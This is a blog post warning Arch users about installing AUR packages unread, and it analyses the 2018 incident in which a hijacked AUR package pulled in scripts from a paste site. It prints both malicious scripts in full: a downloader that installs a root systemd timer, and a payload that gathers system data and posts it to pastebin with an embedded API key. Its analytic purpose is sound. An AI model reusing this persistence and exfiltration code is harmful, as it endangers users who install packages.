Yeah, nah, aye

Main categories:

Data Harvesting, Malware, Oh My!

Something something AUR

The AUR is a nice feature of the Arch Linux community. It is a repository that enables completely unvetted strangers to run their shell scripts on your machine. Secondarily, these shell scripts normally describe build instructions for software packages. This assumes that you—yes you there, no behind her, YOU—don't read the PKGBUILDs, install hooks, and so on before running makepkg, or getting your AUR helper to run it for you.

Naturally, it can be a cesspit of dubious packaging standards, but it's normally a mostly-honest place with most dubious practice being lack of portability or poorly quoted shell expressions.

Warnings have been plastered everywhere for years already. Here's one from the AUR front page:

"DISCLAIMER: AUR packages are user produced content. Any use of the provided files is at your own risk."—AUR Main Page

Another from the Golden Arch Wiki:

"Warning: Carefully check all files. Carefully check the PKGBUILD and any .install file for malicious commands. PKGBUILDs are bash scripts containing functions to be executed by makepkg: these functions can contain any valid commands or Bash syntax, so it is totally possible for a PKGBUILD to contain dangerous commands through malice or ignorance on the part of the author."—AUR Article on the Arch Wiki

Again from the footer of every single page on the AUR domain:

"AUR packages are user produced content. Any use of the provided files is at your own risk."—Footer of every single AUR page

Despite these, it seems that this never sinks in, or that newcomers fail to see them until they get burned or otherwise schooled. It also appears to have missed the media, given that their coverage of it seems to be telling a cautionary tale of a bad egg ruining the entire platform.

AUR Helpers

Love them, hate them, or love to hate them, they exist. AUR Helpers automate the process of git fetch-ing, makepkg-ing and pacman -U-ing (unless you makepkg -i) a given package, and its dependencies. They are a delicacy best enjoyed by users already competent and fully fluent in the process of packaging for pacman. For packages that contain a tree of dependencies that runs deep and/or wide into the AUR rather than into the Official Packages, they can take the leg-work out of an otherwise-tiring job of manually cloning and invoking makepkg.

The problem is that they appear to have created a new breed of user; one who is much more easily able to break their system in ways we have never seen before, all the while having no idea how they did it. Guides on how to install AUR helpers take the shape of unknowns' blog posts and YouTube videos. They exist in copy-paste form so that dear newbies don't even have to worry about understanding any of this makepkg malarkey. Isn't that kind of them?

The second clear flaw is that they can allow users to automatically clone AUR packages and build them without the user inspecting the package sources. Security-wise, this is as good as copy-pasting some shell scripts from a paste bin website (pick any of them) into your shell.

Be assured that I am not shredding AUR helpers. They fulfil a purpose for power users, and should in my view be a forbidden fruit to be shared among the competent users—here comes the typical Arch user elitism again, but hear me out.

Before considering using an AUR helper, why haven't Arch and its many derivates removed the distinction between their User Repository and the Official counterpart? Why not have the main repository that pacman installs from be fully user-editable? Anyone can sign up and upload a new pre-compiled binary package, so that all users of the distribution can enjoy the fruits of their generosity with a simple pacman -S mallory.

Doesn't sound like a good idea anymore. "But hey, you said binary packages! The AUR contains package sources, not binaries!" Correct, astute reader, but what is the difference between fetching a binary package outright and blindly compiling a binary package from package sources?

My point here (too many paragraphs down and counting) is that users have always needed to show due diligence, and to examine package sources before they install them, especially with AUR helpers where it is too easy to let the tool go full steam ahead without prompting you to inspect the packages.

July 2017 Incident

The media has covered this significantly. Even The Register ran an article on this, the URL alluding to a potential earlier, catchier title, "Someone Modified Arch Linux's Acrobat Reader, Adds Security Warning". Rest assured, I'm glad they saw the sense to modify this title, at least by the time the article made its way around to me. Reading their article, it does sound like they at least better-informed themselves somewhat.

This time, something a little different from the normal grime of poor to objectionable packaging techniques, such as placing things in $HOME. Something slightly more malicious.

The commit, probably authored on 2018-07-08 at 02:31 UTC, was made by user xeactor (now suspended). It was reverted by Arch Linux Trusted User Eli Schwartz under 2.5 hours later (at 05:53 UTC). First things first, kudos to qwence and to Eli Schwartz for reporting and acting respectively.

Posted below are the scripts pulled down by this dodgy PKGBUILD, and short comments on them. I really don't know the author's intentions. It doesn't look like they had big ambitions (like recruiting to a botnet). I can only presume that they were after a proof of concept of some sort. Besides this, the script would not have worked anyway. It's as if they didn't even test it locally.

~u As at 2018-07-08 08:26 UTC

This is the script that is executed from the PKGBUILD. Embedded in it are a systemd service and timer, which launch another script used for shameless data harvesting.

I can presume that the author of this script embedded the service and timer definitions here rather than committing them to the package's git repository on the AUR so that they can change the vanity paste on ptpb.pw at any time and affect any builds of the package thereafter.

#!/bin/bash

# get to the right location
if [[ -n "$pkgdir" ]]; then
    cd "$pkgdir"
else
    exit 0
fi

be_silent() {
    "$@" >/dev/null 2>&1
}

# systemd files
SYSTEMD_TIMER="[Timer]
OnCalendar=4d
Persistent=true
OnActiveSec=360
[Install]
WantedBy=timers.target"
SYSTEMD_SERVICE="[Unit]
Type=simple
ExecStart=/usr/lib/xeactor/u.sh"

# write systemd files
mkdir -p usr/lib/systemd/system
mkdir -p etc/systemd/system/multi-user.target.wants
echo "$SYSTEMD_SERVICE" > usr/lib/systemd/system/xeactor.service
echo "$SYSTEMD_TIMER" > usr/lib/systemd/system/xeactor.timer
ln -s /usr/lib/systemd/system/xeactor.timer etc/systemd/system/multi-user.target.wants/xeactor.timer

# get the upload script
mkdir -p usr/lib/xeactor
if be_silent which curl; then
    curl -s https://ptpb.pw/~u > usr/lib/xeactor/u.sh
elif be_silent which wget; then
    wget -qOusr/lib/xeactor/u.sh https://ptpb.pw/~u
else
    exit 0
fi

~x As at 2018-07-08 08:26 UTC

This is the payload installed by the PKGBUILD add-on script piped from curl to bash. It appears to consist entirely of data harvesting on the machine itself, rather than a user or their actions. It is run as root and consists of:

Included in the script is a developer API key presumably belonging to the script's author. It is not my duty to tell you, dear reader, what to do with this API key. The use of an empty variable $uploader as a function or command is clearly flawed. Presumably they meant to call the upload function. I could guess that initially, they had $uploader defined as the first part of a curl or wget command with the form data embedded, but later factored this out to the upload function, where $prefix does this duty, then forgot to update the rest of the script. Then, they omitted to test locally again. Top notch.

One other thing I'm not sure about is the placing of a compromised.txt containing the uploaded data verbatim, into each user's home directory (including the superuser). Granted the entire operation doesn't exactly ooze discreetness, there was the attempt at not requiring further commits to the AUR package in order to propagate changes to the systemd timer and the service it triggers.

#!/bin/bash

function urle() {
    sed -e 's|!|%21|' -e 's|#|%23|' -e 's|$|%24|' -e 's|&|%26|' -e "s|'|%27|" -e 's|(|%28|' -e 's|)|%29|' -e 's|*|%2a|' -e 's|+|%2b|' -e 's|,|%2c|' -e 's|/|%2f|' -e 's|:|%3a|' -e 's|;|%3b|' -e 's|=|%3d|' -e 's|?|%3f|' -e 's|@|%40|' -e 's|\[|%5b|' -e 's|]|%5d|'
}
declare -fx urle
GID=
MACHINE_ID="$(cat /etc/machine-id)"
PASTE_TITLE="$(echo [xeactor]\ $MACHINE_ID|urle)"
upload() {
    up_data="$(echo $1|urle)"
    if [[ "$HTTP_CLIENT" == "curl" ]]; then
        prefix='curl -s --data'
    elif [[ "$HTTP_CLIENT" == "wget" ]]; then
        prefix='wget -O/dev/null -q --post-data'
    fi
    $prefix "api_dev_key=42ba93112cc9677382e55e5e387eafa1&api_paste_private=0&api_paste_name=${PASTE_TITLE}&api_option=paste&api_paste_code=$up_data" "https://pastebin.com/api/api_post.php" >/dev/null 2>&1
}
if which wget >/dev/null 2>&1; then
    export HTTP_CLIENT=wget
elif which curl >/dev/null 2>&1; then
    export HTTP_CLIENT=curl
else
    exit 0
fi
cmd_log() { echo "[cmd] \`$@\`:"; "$@" 2>&1; echo; }
full_log() {
    echo ${MACHINE_ID}
    cmd_log date '+%s'
    cmd_log uname -a
    cmd_log id
    cmd_log lscpu
    cmd_log pacman -Qeq
    cmd_log pacman -Qdq
    cmd_log systemctl list-units
}
FULL_LOG="$(full_log)"
$uploader "$FULL_LOG"
for x in /root /home/*; do
    if [[ -w "$x/compromised.txt" ]]; then
        echo "$FULL_LOG" > "$x/compromised.txt"
    fi
done
exit 0